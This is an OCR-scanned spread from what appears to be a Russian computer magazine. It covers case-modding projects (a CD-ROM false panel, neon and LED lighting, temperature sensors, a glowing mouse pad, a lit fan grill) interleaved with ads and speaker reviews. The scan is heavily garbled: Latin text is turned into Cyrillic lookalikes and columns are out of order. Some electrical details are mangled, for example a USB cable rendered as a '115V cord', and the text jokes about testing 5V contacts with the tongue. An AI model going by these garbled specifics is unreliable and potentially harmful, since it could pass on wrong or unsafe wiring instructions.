Юниксоид 



Реггит 



сека. Тип крепления заглушки не ва- 
жен. Если у тебя корпус Чифтек, то 
советую не портить родную заглушку - 
потом с трудом найдешь подходящую. 
Лучше попроси в ближайшей фирме, 
где собирают компьютеры - у них их 
просто завались. Для крепления 
фальшпанели к лотку сидирома я ис- 
пользую двустороннюю клейкую «кар- 
тонку» (обычно идет в комплекте с те- 
лефонной розеткой). Можно исполь- 
зовать нетолстую резину (~1 ,5 - 2 мм) 
и резиновый клей (не оставит следов 
на пластмассе, если придется разби- 



рать конструкцию). Необходимые ин- 
струменты - резак для бумаги и плос- 
когубцы. 



Сначала сделай ножом надрез по пе- 
риметру панели. Это нужно, чтобы бы- 
ло легче затем обламывать края и что- 
бы они получились ровными. Итак, об- 
ломай края. Смотри, осторожнее с уг- 
лами! Если на обратной стороне па- 
нельки имеются крупные выпуклости 
от заводской заливки, срежь их. Обра- 
ботай края ножом или мелкой шкур- 
кой. Если не хочешь лишиться инди- 



Итак, ты затарился клевым алюминие- 
вым корпусом или даже покрасил свой 
комп в прикольный цвет и чувствовал 
себя очень крутым, пока не установил 
СЭ-РОМ сігіѵе (или любой другой), ко- 
торый совсем не вписался своим цве- 
том в твой «промоденный» корпус. Что 
же делать с сидиромом? Тоже покра- 
сить? Конечно. Если только у тебя есть 
такая возможность, и ты не боишься ли- 
шиться на него гарантии. Второй вари- 



ант - смастерить фальшпанель. Ну, а с 
ней уже можешь экспериментировать, 
как хочешь. 

Для того, чтобы сделать фальшпанель 
для СЭ-РОМ сігіѵе, перво-наперво те- 
бе понадобится подопытный. Не по- 
дойдут зіоі-іп приводы (встречаются у 
Ріопеег) и те, у которых дверка трэя 
открывается отдельно на собственной 
оси (некоторые Эатзипд и Сгеабѵе с 
Самсунгом внутри). У меня, напри- 
мер, завалялся СЭ-РОМ ВТС 48х, над 
ним я и поиздеваюсь. Еще достань 
одну заглушку от пятидюймового от- 



* * 
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' ФАЛЬШПАНЕЛЬ 
ДЛЯ Сй-КОМ 












г каюра работы сидирома, придется 
для него сделать дырочку. Ее положе- 
ние можно легко определить любым 
измерительным инструментом, нахо- 
дящимся под рукой. Размер отверстия 
подбирай на свой вкус. Я, например, 
вырезаю дырку в виде конуса, обра- 
щенного острием наружу. Дырку мож- 
но усовершенствовать, залив ее клеем 
на основе силикона (при высыхании 
получаем световод). Второй вариант 
решения индикатора - сделать его вы- 
носным при помощи двух проводов и 
светодиода. Теперь надо прикрепить 
панель к сидирому. Наклей площадки 
крепления на крышку трэя. Заметь, 
толщина и мягкость этих площадок 
позволят нажимать кнопки, надавли- 
вая на панель. Двух площадок обычно 
достаточно. Приклей панель прямо на 
них. Проверь нажатия. Так как на дан- 
ном сидироме две кнопки, располо- 
женные рядом, то нажимать следует 
не непосредственно на кнопку, а ле- 
вее/правее нее. Наличие кнопки ріау 
нам не помешает. Сидиром готов к ис- 
пользованию! 

Преимущества фальшпанели налицо: 
не нарушается гармония между кор- 
пусом и сидюком, а также гарантия 
на него; кроме того, сидиром не ви- 
ден и появляется возможность шоки- 
ровать друзей выезжающим внезапно 
диском. 



КАК ОСВЕТИТЬ КОМП. РАПТ I 
НЕОНКА, ИЛИ НУ, БЛИН, 
ФИЗИКА ОПЯТЬ 

Теперь у тебя крутой промоденный 
комп с фальшпанелью, вентиляторами, 
сверхъяркими светодиодами и даже бо- 
ковым окошком. Круто! Жаль только, 
что в это окошко ничего не видно. 

Так чем же осветить внутренности ком- 
па, чтобы это было красиво, стильно, а 
главное - не добавляло проблем с ох- 
лаждением? Вариантов, как и в любом 
деле, несколько, на самом деле, даже 
не несколько, а огромное количество, 
которое может ограничиваться только 
полетом нашей фантазии. Поговорим о 
некоторых наиболее распространенных. 
Итак, что мы хотели бы получить в ре- 
зультате наших преобразований: 

- яркость; 

- красоту; 

- невысокую температуру осветитель- 
ного устройства; 

- малогабаритность; 

- возможность питания от энергоблока 
корпуса. 

Но при этом могут возникнуть некоторые 
проблемы. Например, у твоего компью- 
тера нет дополнительных кулеров, тогда 
важнейшим параметром осветительного 
устройства будет низкая температура. 
Значит, всяческие лампы накаливания 
отпадают: 1 ) нагреваются 2) светят не- 




красиво, и освещение от них выглядит, 
прямо скажем, отстойно. И что же де- 
лать? Пойти наловить светляков и поса- 
дить их в комп? Но их же придется кор- 
мить, а нам только этого не хватало. Да, 
есть еще вариант - поставить внутри 
корпуса маленький аквариум с малень- 
кими электрическими скатами (между 
прочим, совмещение водяного охлажде- 
ния с освещением - и не жарко, и свет- 
ло). Но их, увы, тоже надо кормить. Но 
что делать, если талант юного натурали- 
ста погребен еще в пламенные детские 
годы или, наконец, ты просто не хочешь 
быть в ответе за тех, кого приручил? 

К счастью, известно такое явление, как 
«люминесценция» или, как еще его на- 
зывают, «холодное свечение». По- 



скольку мы не на уроке физики, и я не 
хочу, чтобы ты заснул, постараюсь по- 
яснить это кратко и просто. Это явле- 
ние основано на свечении некоторых 
веществ. Оно как бы возникает под 
действием источника энергии (ну, там 
света, ультрафиолетового излучения, 
электрического поля, при химической 
реакции и т.д., скучно). На основе это- 
го явления земляне создали много 
различных источников света: люминес- 
центные лампы, те же светодиоды, га- 
зоразрядные источники света. Их все 
можно применять для подсветки внут- 
ренностей компа, но самым клевым 
для модеров является разновидность 
газоразрядного источника све- . 
та (кошмар!) низкого давления ^ 

- неоновая лампа. Фу! Короче, 




Купоны можно присылать по адресу: 103031 Москва, Дмитровский пер., 4 стр. 2 ЗАО «Гейм Лэнд» для Крымовой Виктории 

или по е-таіі: ѵіка@дате!апсІ.ги 
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лучше всего неонки, потому что они 
как раз сочетают в себе все необходи- 
мые параметры. Этим путем, кстати, 
идут все модеры на западе. 

Но неонки тоже разные бывают, поди 
знай, какую выбрать. В этом мы сей- 
час и разберемся. В неонках излуче- 
ние возникает при электрическом раз- 
ряде в атмосфере неона. Наполняют- 
ся они неоногелиевой смесью (ну, ту- 
да еще чего-нибудь добавляют для 
разных целей, например, аргон). Наи- 
более распространены сигнальные 
неоновые лампы тлеющего разряда 
(или неонки с простым катодом), в ко- 
торых используется оранжево-крас- 
ное свечение. Но для наших целей 
больше подходят неоновые реклам- 
ные трубки с холодным катодом (газо- 
светные трубки), т.к. их при изготов- 
лении можно гнуть и придавать им 
любую форму. Но при всем при этом 
есть один недостаток: это однообраз- 
ное свечение все того же красно- 
оранжевого цвета. А ведь хотелось бы 
осветиться так, чтобы и радуга обза- 
видовалась. 



К счастью, у художников можно позаим- 
ствовать прием наложения двух цветов 
друг на друга и сочетать в одной неоно- 
вой лампе два вида люминесценции: 
одну в газах (той самой неоногелиевой 
смеси) и вторую в твердых телах - ка- 
ких-то специальных люминофорах, ко- 
торыми покрывается внутренняя по- 
верхность лампы. (Кстати, внутренняя 
поверхность так дорогого твоему серд- 



ММ 



* 



цу монитора, если он конечно не ЖК, 
тоже покрыта сложным люминофором, 
который как раз и бомбардируется эле- 
ктронами с разной интенсивностью, за- 
ставляя его (люминофор) светиться не- 



одинаково в разных частях экрана, 
вследствие чего и получается картин- 
ка.) Этот самый люминофор в зависи- 
мости от своего состава (о котором я 
ничего не скажу, чтобы ты не зевал) 
светится разным цветом. Так что теперь 
ты смело можешь освещать комп си- 
ней, зеленой, красной, оранжевой и т.д. 
неонкой. Кстати, а как она выглядит, эта 
модерская неонка? Она имеет форму 



НЕ ПОЕДЕШЬ 



ПОЖАЛЕЕШЬ 



трубки диаметром 10-30 мм и длиной 
0, 1 -3 м и изготавливается из стекла, по 
концам впаиваются цилиндрические 
электроды из стали (возможны другие 
металлы). Внутренняя поверхность 
трубки, как ты уже понял, покрывается 
люминофором, а сама она наполняется 
смесью газов до определенного давле- 
ния и некоторым количеством ртути. 

Теперь посмотрим, как же работает га- 
зосветная трубка модера. Неонку вклю- 
чают в сеть переменного тока через 
трансформатор (от 500 вольт до 3000 
вольт!) с магнитным рассеиванием, и 
между ее электродами возникает элек- 
трический ток, возбуждающий свече- 
ние атомов ртути, которое дает нам 
ультрафиолет. Последний, в свою оче- 
редь, возбуждает свечение люминофо- 
ра. Следующий вопрос - как же под- 
ключить неонку к компу? Мда... это же 
офигеть можно, у тебя в компе из бло- 
ка питания выходит 1 2 вольт, а тебе на- 
до получить 500 вольт! Для этого есть 



такое устройство, которое называет- 
ся инвертор. Принцип его действия та- 
кой же, как и у электрошока, который 
из кроны в 9 вольт получает напряже- 
ние 30000 вольт. Аналогично работает 
инвертор. В скором времени на сайте 
ѵѵѵѵѵѵ.тосісііпд.ги появится схема этого 
устройства, и если ты дружишь с па- 
яльником, то сможешь спаять его сам. 
Ну, а установить неонку в корпус тебе 
не составит труда, после того как ты 
уже сделал окошко! 

Последний момент - где же взять не- 
онки и инверторы? Может, хорошо по- 
искав, ты достанешь где-нибудь ки- 
тайские или тайваньские наборы 
(лампа плюс инвертор). Но вот мне- 
ние о них специалиста: «Неоновые 
лампы китайского и тайваньского про- 
изводства слабомощны и недолговеч- 
ны. В них установлены катоды низкого 
качества, поэтому мал и объем инерт- 
ного газа. Следовательно, слаба све- 
тоотдача и невелик ресурс часов». 
Второй вариант - найти хорошие яр- 
кие лампы. Их можно привезти из 
Америки либо купить неонки нашего 
производства в ѵѵѵѵѵѵ.рссіезідп.ги. 
Кстати, здесь можно купить отдельно 
лампы и отдельно инверторы, а если 
перегорит китайская лампа, придется 
заново покупать весь набор. 

КАК ОСВЕТИТЬ КОМП. РАПТ II 
«СВЕТИЛЬНИК» ДЛЯ РС 

А что, если тебя ломает покупать неоно- 
вую лампу или нет возможности, или 
просто для тебя западные утырки-мо- 
деры с неонками не авторитеты, и ты 
ищешь нестандартные пути. А может, 
ты хочешь испробовать все? Тогда мы 
научим тебя, как смастерить штуку, по 
светимости не хуже неонки. Вот 
тебе еще одна идейка, как осве- 
тить кишочки твоего ненаглядно- 
го компа своими руками. 
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С УДОВОЛЬСТВИЕМ! 



для умывания ЫІѴЕА Рог Меп двойного действия. 




Новейшее средство для очищения кожи лица. 

• Эффективно очищает и освежает кожу лица. 

• Не содержит мыла, не сушит кожу. 



• Содержит провитамин В 5 и витамин РР. 

ДЛЯ МУЖЧИН, СПОСОБНЫХ ПОЗАБОТИТЬСЯ О СЕБЕ 

Консультации квалифицированных специалистов по телефону 8 800 2 000 753. Звонок по России бесплатный. ѵгуу.НІУЕА.сош 
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( Итак, тебе понадобятся: 

1 . Ненужный динамик или спикерфон 
(можешь смело выдрать его из компа, 
он как аппендикс там, на фиг не нужен). 

2. СО диск. 

3. Прозрачный кубик (продается в лю- 
бом канцелярском магазине, служит 
держателем визиток или просто для бу- 
мажек) или пластиковая висюлька (как 
на фото) с люстры или светильника ба- 
бушки. Надеюсь, у нее люстра не хрус- 
тальная. Хрусталь, конечно, не подходит. 
4. 115В шнур. 

5. Яркий светодиод синего цвета. 

Берешь эту прозрачную штуковину, вы- 
сверливаешь в ней дырку. Затем бе- 
решь обычную «болванку» или старый 
покоцанный компакт-диск с твоей лю- 
бимой игрой 90-х годов. И аккуратно 
лепишь к ней свой кубик или висюльку 
(я думаю, с какой стороны - догадаешь- 
ся сам). Вклеиваешь в нее светодиод. 
Берешь 115В шнур, находишь контакты 
5 V (можно искать с помощью диода, а 
если не врубаешься - языком ;-)). В ди- 




намике вырезаешь отверстие и пропус- 
каешь через него шнур. Надеваешь 
шнур на диод, а сверху прижимаешь за- 
ранее намазанным клеем динамиком. 
Ждешь, пока высохнет, и все готово! 
Теперь можно лепить его с помощью 
магнита динамика на любую железку 
(даже на лоб, если тебе туда вживляли 
металлическую пластину ;-)). Самый 
простой способ - поставить эту светя- 
щуюся штуку на дно корпуса. 

Светит просто супер! И есть свои плюсы: 
не греется, не занимает лишний разъем 
блока питания. Можно также использо- 
вать вместо 115В шнура шнур от Р5/2, но 
тогда придется написать «дрова» под не- 
го, чтобы постоянно подавался ток, тоже 
стильное занятие, достойное модера. 
Или такие дрова и программу, чтобы 
можно было контролировать включение 
і и выключение фонарика. Можно под- 



ключить это приспособление к материн- 
ской плате в то место, куда подключают 
светодиоды на Роѵѵег и ШО, если не хо- 
чешь использовать 115В шнур. Дай волю 
своей фантазии, и у тебя получится све- 
тильник еще круче. Поэкспериментируй 
с зеркалами или линзами, возможно, 
стоит вставить несколько светодиодов, 
можно разноцветных. Короче, путь для 
творчества открыт. 

ТЕМПЕРАТУРНЫЕ ДАТЧИКИ 

Хорошо, светильниками и кулерами ты 
свой комп напичкал, ну, а кто же будет 
следить за его температурой? Не пожа- 
лей для друга температурных датчиков! 
Самые популярные - датчики Нагсісапо и 
система температурного контроля Т5(1т) 
ПгегтаІ@СопігоІ. Модель Нагсісапо пред- 
ставляет собой панель с двумя жидкокри- 
сталлическими температурными диспле- 



ями и вентилятором для НОО между ни- 
ми. Она замечательно смотрится на пане- 
ли РС, а также охлаждает жесткий диск, 
который в этом случае вставляется на 
специальных салазках, входящих в ком- 
плект Нагсісапо, и выводит информацию о 
температуре любых двух устройств, к ко- 
торым подведены щупы. Можно, напри- 
мер, наблюдать температуру процессора 
и температуру видеокарты. Система 
Т5(1т) ТІіегтаІ@СопІгоІ - более дорогой и 
элитный вариант. Но и возможностей у 
нее побольше. Вот вкратце о них: 
Основное устройство устанавливается в 
отсек 5.25», но не занимает весь отсек. 
Имеется 8 термодатчиков. Их можно за- 
крепить на поверхности процессора или 
любой другой микросхемы, жесткого 
диска или какой-либо платы. 

Система имеет жидкокристаллический 
индикатор, на котором отображаются 
последовательно показания каждого 
термодатчика, номера активных венти- 
ляторов и точные значения напряжений 
питания +5В и +12В. 

Температура устройств отображается в 
оС или оР. Диапазон отображаемых 
температур: от ОоС до +100оС. 
Показания каждого датчика температуры 



считываются каждые 5 секунд (полный 
цикл считывания составляет 40 секунд). 
Пороговые значения температуры уста- 
навливаются отдельно для каждого ка- 
нала (термодатчика). 

Возможно подключение до 8 управляе- 
мых вентиляторов, имеющих напряжение 
питания + 12В, которые включаются при 
достижении порогового значения темпе- 
ратуры на 1 ..8 каналах соответственно. 
Возможна установка режима постоян- 
ного функционирования для любого 
вентилятора. 

Для хранения установок использует- 
ся энергонезависимая память типа 
ЕЕРВОМ. 

Имеется функция подсветки ЖК-ин- 
дикатора. 

Основное устройство имеет 6 кнопок 
управления. 

В общем, теперь ты, как добрый доктор 
Айболит, будешь всегда знать к 
температуру (и не только) своего 
подопечного! 
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Счастливые часы 
переключают! 

Говори в 2 раза дешевле в любое время суток! 



Выбери сам время 
50% скидки* 
в 5ІМ-меню 
своего телефона! 

Утро с 1 0:00 до 1 4:29 
День с 14:30 до 17:59 
Вечер с 18:00 до 21:59 
Ночь с 22:00 до 09:59 



* скидка предоставляется на все исходящие 
и входящие локальные звонки 
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Центры обслуживания абонентов: Москва, ул. Бахрушина, д. 32, стр. I (метро «Павелецкая»); 

ул. Новослободская, д. 23 (метро «Новослободская», «Менделеевская»). 

Фирменный салон МегаФон (ООО «Мобитель»): Москва, пл. Малая Сухаревская, д. I (метро «Сухаревская»); тел. 564-8877. 

Наши дилеры: Евросеть 777-7710, Техмаркет 723-3333, Связной 500-0333, Мобильные Советы 729-5710, Анарион 974-2323, Мобитель 243-3243, 
МАХІМСІ5 721-3366, Бета Линк 725-6005, РІХІ5 722-2222, Прейс-центр 214-2762, АВС-ТеІесот 258-2255, Маранд АЕ 290-6555, ѴОВІ5 796-9228, 
М. Видео 777-777 5, Астра Телеком 937-5141, АЛАН Связь 745-2390, Элмос-Лайн 254-4880, Мегасот 247-2000. Сеть автоматов по продаже карт 
экспресс-оплаты Парнет, которые расположены во всех торговых центрах Москвы и Московской области. 
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СВЕТЯЩИЙСЯ КОВРИК 
ДЛЯ мыши 

Настоящему светоману мало только ос- 
вещенного компа и сверхъярких свето- 
диодов в корпусе и клаве. Он пойдет 
дальше и осветит все... Например, ков- 
рик для мыши! Долой старые коврики! 
Итак, какие нужны инструменты? 

- Обычная пила. Ею будем вырезать 



Стоит присоединить резистор больше- 
го сопротивления, и светодиоды станут 
неяркими. Можешь также подсоеди- 
нить обычный переключатель, если хо- 
чешь отключать светодиоды. Чтобы 
провода и диоды держались в коврике, 
можно использовать клейкую ленту или 
клей. Подключаем коврик к питанию и 
проверяем. Вау! Работает (надеюсь, у 
тебя тоже)! Круто! Теперь можно снять 
с плексигласа защитный слой. 




предварительную заготовку для коврика. 

- Напильники для обработки краев ко- 
врика. 

- Дремель для придания формы заго- 
товке и для вырезания каналов под про- 
вода и светодиоды. 

Для коврика со светящимися краями 
тебе понадобится небольшой лист 
плексигласа толщиной 5мм и 2 сверхъ- 
ярких светодиода. Наметь контуры ков- 
рика на защитном слое оргстекла и вы- 
режи. Кстати, постарайся не снимать 
этот слой, пока все не доделаешь. Он 
защищает стекло от всяких царапин и 
жирных пальцев. Далее закругли дре- 
мелем острые углы, чтобы у коврика 
была более подобающая форма. Те- 
перь надо обработать его края напиль- 
ником. По плексигласовому коврику, в 
форме которого нет прямых линий и 
прямых углов, лучше всего работать 
напильником с закругленным профи- 
лем. Провода и светодиоды поместим 
внутрь коврика параллельно его плос- 
кости. Для этого нужно проделать дре- 
мелем (уже с помощью другой насадки 
в виде сверла) в коврике канал. Причем 
канал нужно сделать достаточно глубо- 
ким. Если диаметр светодиодов велик 
(скажем, тоже 5мм), то их придется не- 
много обточить напильником. Подклю- 
чать светодиоды будем к 5В питания 
компьютера. Поэтому используем 
красный (+) и черный (земля) провода 
блока питания. Если светодиоды рас- 
считаны, скажем, на 2. 1 В, их можно со- 
единить параллельно и добавить один 
резистор сопротивлением 820м. Он 
нужен, чтобы понизить напряжение с 
5В до 2В. Резистор также позволяет 
і регулировать яркость светодиодов. 




Если у тебя оптическая мышь, тебе 
придется покрыть коврик каким-ни- 
будь материалом, например, куском 
ткани, чтобы мышь работала. К тому 
же ткань скроет светодиоды и провода. 
Ну, а если у тебя механическая (обыч- 
ная) мыша, то ты можешь коврик ни- 
чем не покрывать. На коврике можно 
сделать рисунок или надпись, и она бу- 
дет светиться. Просто возьми дремель 
или очень острый гвоздь и процарапай 
картинку. Только нужно проводить 
очень мелкие линии. Причем, лучше 
всего наносить картинку с обратной 
стороны плексигласа как зеркальное 
отображение. Затем просто переверни 
оргстекло и вставь светодиоды. Все 
будет светиться гораздо ярче. А поче- 
му бы не применить этот же метод к 
окошкам корпуса? Прочерти любой ри- 
сунок на плекси и установи его в каче- 
стве окна. Включи светодиоды и лю- 
буйся на свое творение! Или нарисуй 
какой-нибудь смайлик на маленьком 
кусочке оргстекла и водрузи его на мо- 
нитор или подари подружке на день 
рождения! 



СВЕТОГРИЛЬ, ИЛИ СВЕТЯ- 
ЩАЯСЯ РЕШЕТКА ДЛЯ ВЕН- 
ТИЛЯТОРА 

Теперь поговорим о решетках для вен- 
тиляторов. Тебе наверняка уже при- 
елись обычные стандартные модели. 
Конечно, идеальный и самый популяр- 
ный вариант сейчас - заменить их при- 
кольными фигурными решетками в фор- 
ме атома, биохазарда или дракона, ко- 
торые вырезаются лазером (Іазег сиі 
дгіііз). Но, помимо этого, можно и само- 
му поработать головой и руками и смас- 
терить что-нибудь стильное. Например, 
можно сварганить решетку из плекси- 
гласа, и вырезать дремелем на ней ка- 
кой-нибудь узор. А чтобы было еще ве- 
селее, давай подсветим ее светодиода- 
ми (светомания продолжается :)). 

Тебе пригодятся: 

1 . кусок плексигласа (небольшой, раз- 
мером со старую решетку); 

2. дремель; 

3. два синих сверхъярких светодиода; 




4. чертежные принадлежности и голова 
с воображением. 

Размер оргстекла можно определить с 
помощью вентилятора. Причем, нужно 
добавить со всех сторон по 1 см, что- 
бы было где устанавливать светодио- 
ды. Итак, вырезаешь дремелем (для 
тебя это уже раз плюнуть) плексигла- 
совый квадрат. Рисуешь картинку. 
Прорезаешь отверстия в узоре дреме- 
лем с помощью насадки для резьбы. 
Морально приготовься к тому, что во- 
круг будет много пыли, и все покроет- 
ся пластмассовой стружкой. Теперь 
проделываешь в плексигласовой ре- 
шетке по бокам две «выемки» и встав- 
ляешь в них светодиоды. Остается 
только закрепить светящуюся решетку 
за отверстием для вентилятора. Ну 
вот, мод готов! Как видишь, немного 
работы, и у тебя появилась крутая за- 
мена для обычных решеток! 

ЗАКЛЮЧЕНИЕ 

В следующий раз мы, возможно, погово- 
рим о том, как сделать «самопальные» 
РапЬиз и ВауЬиз (на западе их можно про- 
сто купить, если ломает мастерить само- 
му). Для тех, кто не знает, поясняем: фэн- 
бас - это устройство, позволяющее со- 
единить провода питания всех кулеров в 
одном месте, в результате ты не муча- 
ешься с проводами, и у тебя остаются 
свободными разъемы блока питания. Ну 
а ВауЬиз - девайс с переключателями для 
понижения уровня шума от кулеров ком- 
па. Он позволяет включать и выключать 
вентиляторы по желанию модера. Так что 
если тебя интересует, как контролировать 
шум от вентиляторов, и ты страдаешь 
светодиодоманией, то жди • 
выхода следующего модер- 
ского повествования. 
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Логотип Іпіеі, ІпГеІ Іпзісіе и Репііит являются зарегистрированными товарными знаками, а Репііит 4 - товарным знаком Іпіеі Согрогаііоп 
или дочерних компаний Іпіеі Согрогаііоп на территории США и других стран. 
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К-8іу1е РгохІта МС 



С помощью компьютера К-5іу1е® РгохІта® МС на базе высокопроизво- 
дительного процессора Іпіеі® Репііит® 4 Вы сможете играть в самые 
современные компьютерные игры. По новейшим мультимедийным 
энциклопедиям Вы сможете быстрее запомнить и глубже проработать 
материал. Также компьютеры производства К-Зіуіе Сотршегз открывают 
практически неограниченные возможности для создания музыки, 
компьютерной графики, редактирования видео и моделирования 



вселенной. 



Технические характеристики: 

Процессор: Іпіеі® Репііит® 4 1,50 ГГц (2,53 ГГц) 
Память: 128 МБ (3ГБ) 

1.44 МБ 
Ст 52х 

Жесткий диск: 20 ГБ (60 ГБ 7200 об/мин) 

Звук совместимый с АС’97 
Операционная система МісгозоГі® УСіпсіспуз® 



К*8іу1е 

СОМРІІТЕКЗ 




Компьютеры К-Зіуіе® РгохІта® сертифицированы 
на совместимость с операционной системой 
Місгозор® Шпйотз® ХР. 



Система качества разработки, проектирования и 
производства К-51у1е Сотриіегз сертифицированы на 
соответсвие международному стандарту ИСО 9001:2000. 



Оптовые поставки: м/уѵжгзі.ш 
Компания К5І тел.: (095) 907-1101, факс: (095) 904-5995 
Интернет магазин: мАто.сошриіегрІага.ги 
Техническая поддержка: 

К-5іу1е Сотриіегз тел.: (095) 903-3830 
м^ѵ.г-зіуіе-сошриіегз.ги 



Партнеры по розничной продаже и системной интеграции: 



Астрахань 

Компания «ТАН» 

(8512) 24-57-43, 22-70-60, 

39-21-24 

Братск ООО БАЙТ 

(395-3) 41-1121,41-3834 

Владивосток К-5іу1е 

(4232) 26-9052 

Губкинский, ЯНАО 

МУП «ПурИнформ» (345 36) 5-5719 



Красноярск Лансервис 
(3912) 23-9342,23-8370 
Москва АБН 
(095) 960-2323, 

755-8813 (многокан.) 

Москва 

К-5іу1е (095) 904-1001 (многокан.) 

Москва 

Группа компаний СИБКОН 
(095) 923-44-72, 292-7762 



Нижний Новгород К-5іу1е 
(8312) 44-3517, 44-1622 
Новосибирск К-5іу1е 
(3832) 66-8058, 66-6378 
Ростов-на-Дону К-5іу1е 
(8632) 52-4813, 58-7170 
Санкт-Петербург К-5іу1е 
(812) 167-14-30 (31, 32) 
Тула Питер - Софт 
(0872) 355-500,335-510 



Уфа Альбея-Техпроект 
(3472) 23-7472, 23-7476 
Уфа Онлайн 
(3472) 248-228, 259-681 
Хабаровск К-5іу1е 
(4212) 21-8549, 22-0675 
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Материнская плата: М8І 

К7Т266 Рго2-А (М8-6380Е Ѵегі .0) 
Процессор: АІѴЮ АТЫоп 1800+ ХР 
Память: ИСР512 МВ ООН] 
Жесткий диск: Махіог 0740Х- 
61- (19,5 0В); 

Видеокарта: АТІ Васіеоп 9500 
Звуковая карта: Сгеаііѵе 
8оипсІ Віазіег І_іѵе 5.1 
ОС: ѴѴіпсІоѵѵз ХР Ноте Есііііоп 



(ЬиіІсІ 2600). 



$ѴЕЫ НТ-485 



ПЕРВЫЙ ВЗГЛЯД 



Набор акустики 8ѴЕИ НТ-485 пред- 
назначен, прежде всего, для постро- 
ения домашнего кинотеатра. И надо 
отметить, общую картину он портить 
не должен. Напротив, стильный се- 
ребристый дизайн, а также форма 
колонок говорят об благородном 
происхождении. Сабвуфер довольно 
массивный, с выведенным вниз ди- 
намиком, обладающий резиновым 
подвесом, что сразу наводит на 

I мысль о мощных «низах». Если же 
снять сеточку с сателлитов, то взору 
предстанут однополосные динамики. 





Я0І.ВѴ... 



ОоІЬуРгоІ_одіс - устаревающий 
стандарт объемного звука, ис- 
пользующий четыре звуковых ка- 
нала, включая центральный, а 
также специальную схему рас- 
кладки тылового звука. Воспро- 
изводимый диапазон частот: от 
100 Гц до 7 кГц. 
йоІЬу Оідііаі 5.1 , он же АС-3 
(Аисііо Собе-3), использует уже 
шесть каналов - два спереди, два 
сзади, один по центру и один для 
долбежки сабвуфера. Полоса про- 
пускания частот также увеличи- 
лась и составляет от 20 Гц до 20 
кГц. К достоинствам этого стан- 
дарта относят и то, что при нем 
неслышимый звук отбрасывается, 
а оставшийся уже раскладывается 
на шесть каналов. 



ННРНКТЕРИСТИКИ: 



■ Материал корпуса колонок: де- 
рево у сабвуфера и пластмасса у 
сателлитов. 

■ Выходная мощность: фронт/тыл 
- 2x10 Вт, центр - 10 Вт, 
сабвуфер - 40 Вт. 

■ Встроенный декодер 
РоІЬуРгоІ-одіс и ОоІЬуйідіІаІ 5.1. 

■ Входы: оптический, коаксиаль- 
ный, аналоговый (стерео). 



■ Пульт ДУ. 

■ Частотный диапазон усилите- 
ля: 20-20000 Гц. 

■ Размеры: сателлиты - 
74x110x154 мм, центральный ди- 
намик - 21 1x74x1 10 мм, 
сабвуфер - 365x200x380 мм. 

■ Вес: 13,7 кг. 

■ Цена: 230-250$. 



Впрочем, их качество звучания (как и 
всей системы в целом) нам еще 
предстоит выяснить. 



ПОДКЛЮЧАЕМ! 



Для подключения колонок в комплекте 
идут довольно качественные многожиль- 
ные двухцветные провода, так что при 
подключении сателлитов к сабвуферу пу- 
таницы не будет. Защелки на сабе схва- 
тят провода мертвой хваткой, что тоже 



радует. Подсоединить набор можно как 
через коаксиальный, так и через оптичес- 
кий вход. Для подключения к стойке у са- 
теллитов сзади имеются два отверстия с 
резьбой, а за закрепление их на стене от- 
вечает другая, более широкая дырочка ;]. 
Сабвуфер же устанавливается на специ- 
альные стальные ножки, благодаря кото- 
рым он становится похожим на выкидыш 
Мойдодыра :]. А чтобы пол не поцарапал- 
ся стальными лапками, на них можно на- 
деть прорезиненную обувку. 
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ОСОБЕННОСТИ 




КЯРЯКТЕРИСТИКИ: 
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СЛУШАЕМ! 



Первое, что можно отметить, подключая 
ЗѴЕИ НТ-485, это его мягкий нрав. При 
включении и выключении нет никаких па- 
разитирующих щелчков и треска, сказы- 
вается хорошая работа автоматики. Уп- 
равлять же этой акустикой можно только 
пультом ДУ. Дисплей на сабвуфере при 
этом отображает режимы ее работы. Ре- 
жимов и настроек хватит большинству 
привередливых ушей, так что за эффекты 
и разнообразие звучания можно быть 
спокойным (сказывается использование 
эффект-процессора). К тому же ЗѴЕИ НТ- 
485 оснащен электронным эквалайзером, 
что совсем шоколадно. 



■ Соотношение сигнал/шум: 95 дБ. 

■ Пульт ДУ. 

■ Размеры: сателлиты - 
108x160x143 мм, сабвуфер - 
325x290x305 мм. 

■ Вес: сабвуфер - 9 кг, сателлит 
- 0,5 кг. 

■ Цена: 350-370$. 



ОСОБЕННОСТИ 

Сразу предупреждаю, что при интен- 
сивной эксплуатации усилитель, 
встроенный в сабвуфер, довольно 
сильно нагревается, поэтому сам саб 
нужно устанавливать на открытое мес- 
то с доступом свежего воздуха. Так что 
под стол или вплотную к стенке его 
ставить категорически не рекоменду- 
ется. Еще следует позаботиться о со- 
седях и сбавлять громкость при на- 
ступлении 22-00 ;]. Иначе направлен- 
ный вниз мощный динамик обеспечит 
им нервный срыв, который вполне мо- 
жет закончиться вызовом людей либо в 
белых халатах, либо с дубинками в ру- 
ках и нехорошей улыбкой на устах. 
Кстати, работа сабвуфера заслуживает 
отдельного упоминания. По сравнению 
с сабами прошлых линеек от Сгеаііѵе, 
этот имеет не только большие разме- 
ры, но и более качественный динамик 
с жестким резиновым подвесом и про- 
питанным лаком диффузором головки. 
Стенки сабвуфера выполнены из дере- 
ва толщиной полтора сантиметра, а из- 
нутри обложены толстым слоем звуко- 



поглощающего материала (весьма на- 
поминающим нашу обычную стеклова- 
ту). В общем, конструкция саба имеет 
все необходимое для качественной и 
мощной долбежки. 

СЛУШАЕМ! 

Ну, а теперь самое интересное - оцен 
ка качества звучания. Первое, что на 
чинаешь понимать, когда включаешь 
эту систему - какой все же большой за- 
пас по мощности у МедаѴѴогкз 5100 
(видимо, не случайно на коробке кра- 
суется гордая наклейка, сообщающая 
об итоговой мощности на 500 Ватт 
(ВМ5). Если же выкрутить регулятор 
громкости на пульте ДУ до конца и 
прибавить басов, то, считай, коллек- 
тивная заявка в милицию от свихнув- 
шихся соседей тебе обеспечена. К сло- 
ву, даже на высокой громкости систе- 
ма играет просто великолепно и выда- 
ет мягкие и объемные басы. Причем, 
подобная картина наблюдается неза- 
висимо от того, что слушает или во что 
играет юзер. Сателлиты прекрасно 
справляются со своей задачей, благо- 
даря чему средние и высокие частоты 
создают равномерное и чистое звуко- 
вое поле вокруг слушателя. Сабвуфер 
же дополняет это поле мощными и глу- 
бокими басами, которые способны до- 
вести до оргазма даже самого приве- 
редливого юзверя. В общем, Сгеаііѵе 
МедаѴѴогкз 5100 сможет доставить ис- 
тинное удовольствие практически всем 
любителям ОѴО, качест- 
венной музыки и хардкор- 
ных игрушек. Ж 



или шестиканальную). Для этого имеется 
6-канальный аналоговый вход на основе 
разъемов «миниджек». Но лучше все-таки 
